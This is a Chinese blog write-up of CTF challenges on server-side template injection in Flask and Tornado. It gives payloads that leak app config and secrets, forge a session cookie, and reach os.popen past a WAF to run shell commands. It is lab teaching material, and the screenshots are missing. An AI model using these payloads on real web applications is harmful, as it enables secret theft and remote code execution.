ssti(服务器模板注入的总结及几道例题)

+++++SSTI:

在做题之前还是先补充下知识,了解下python flask框架以及ssti的漏洞原理

flask在b站可以找到视频

视频的话可以看这个星盟的直播了解ssti

https://www.bilibili.com/video/BV1zi4y1x7QM

文档类:

https://www.anquanke.com/post/id/188172

https://www.cnblogs.com/wangtanzhi/p/12238779.html

  • [ TokyoWesterns CTF ]shrine

2020.7.21

参考 https://www.cnblogs.com/wangtanzhi/p/12238779.html

	import flask 
	import os 
    app = flask.Flask(__name__) 
    app.config['FLAG'] = os.environ.pop('FLAG') 
	@app.route('/') 
	def index(): 
	return open(__file__).read() 
	@app.route('/shrine/') 
	def shrine(shrine): 
	def safe_jinja(s): 
	s = s.replace('(', '').replace(')', '') 
	blacklist = ['config', 'self'] 
	return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
	return flask.render_template_string(safe_jinja(shrine)) 
	if __name__ == '__main__': 
	app.run(debug=True) 

这个题目直接给出了源码,flag被写入了配置文件中
app.config['FLAG'] = os.environ.pop('FLAG')

有一个黑名单过滤了config和self

参考了上边的文章get两种绕过新姿势

/shrine/{{url_for.globals[‘current_app’].config}}

/shrine/{{get_flashed_messages.globals[‘current_app’].config}}

图片

  • [护网杯]-easy_tornado

2020.7.22

参考文档: https://blog.csdn.net/weixin_44677409/article/details/94410580

https://blog.csdn.net/brainw/article/details/105811920?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.nonecase

https://blog.csdn.net/wyj_1216/article/details/83043627

进入题目可以看到三个文件

图片

分别看一遍

flag.txt说明flag文件在fllllllllag中

图片

render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

render函数介绍

tornado模板self.render和模板变量传递图片

说明文件的filehash使用这种算法构成的

图片

稍微改动下filename或者filehash出现error界面,结合题目easy_tornado

tornado是python中的一个web应用框架。( Python Web 框架:Tornado)

图片

发现确实存在ssti漏洞

图片

filehash=md5(cookie_secret+md5(filename))

现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

尝试/error?msg={{datetime}}

在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档

图片

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings

An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,

RequestHandler.settings指向self.application.settings,

因此handler.settings指向RequestHandler.application.settings。

图片

构造payload获取cookie_secret

/error?msg={{handler.settings}} 图片

得到cookie_secret可以进行下一步计算

import hashlib 
hash = hashlib.md5() 

filename='/fllllllllllllag' 
cookie_secret="06d1f7e3-d535-411d-98b4-6f81cf4c88fc" 
hash.update(filename.encode('utf-8')) 
s1=hash.hexdigest() 
hash = hashlib.md5() 
hash.update((cookie_secret+s1).encode('utf-8')) 
print(hash.hexdigest()) 

得到结果
图片

成功得到flag 图片

  • [xmctf] web8-考核

2020.7.20

根据提示说我们的name为None,那么我们尝试输入name=123 图片

发现有回显,猜测可能为模板注入

尝试输入name={{config}}得到信息 ‘SECRET_KEY’: ‘woshicaiji’

图片

因为提示说只有admin可以得到flag,猜测考察的flask session伪造,根据SECRET_KEY解密得到{‘username’: b’guest’},所以我们修改如下{‘username’: b’admin’}然后加密

得到

图片eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.XvGGnw.Spe0HIXgeXJKFPJHYotMk53DkYM修改session的值然后访问/flag即可得到flag 图片

  • 沙盒逃逸类[XTCTF]Web_python_template_injection

2020.7.22

打开题目就很明了,没有其他仅有一句话,没有robots.txt

图片

在路径拼接处确实发现ssti

图片

先看一波config,发现啥也没有,既然如此判断flag直接保存在某个文件中,于是使用沙盒逃逸的方法来寻找flag

图片

功夫不负有心人,找到fl4g文件,如何构造,可以看下这篇文章

https://www.anquanke.com/post/id/188172#h3-5讲的很详细

图片

成功得到flag

图片

  • 沙盒逃逸类[XTCTF]web11

2020.7.22

参考链接:

https://www.anquanke.com/post/id/188172#h3-10

https://jiang-niao.github.io/2020/04/02/SSTi%20%E5%85%A8%E8%A7%A3%E6%9E%90/#%E5%B8%B8%E8%A7%81%E7%BB%95%E8%BF%87

这个题是web8的升级版,加了waf,可以看到存在ssti

图片

加了waf绕过了一些函数和字符

图片

进行fuzzing,做了一个fuzz字典

图片

可以用python或者bp跑一遍,bp简单一些

图片

相应长度为511,说明被过滤,发现过滤了args和.(点)和_(下划线)

图片

点和下划线的绕过可以使用request

如: 绕过点, {{""[request[“args”][“class”]][request[“args”][“mro”]][1]request[“args”][“subclasses”][286][request[“args”][“init”]][request[“args”][“globals”]][“os”]"popen"request[“args”][“read”]}} +web传参

web传参可以url直接传get参数也可以post传参

因为同时过滤了args,所以要吧args用values来替换

最终的payload

图片

cmd位置用来填写bash命令

但是我们发现直接cat fl4g是无法读取flag的提示flag被过滤了,所以需要使用base64来的编码绕过

你可能感兴趣的:(ctf)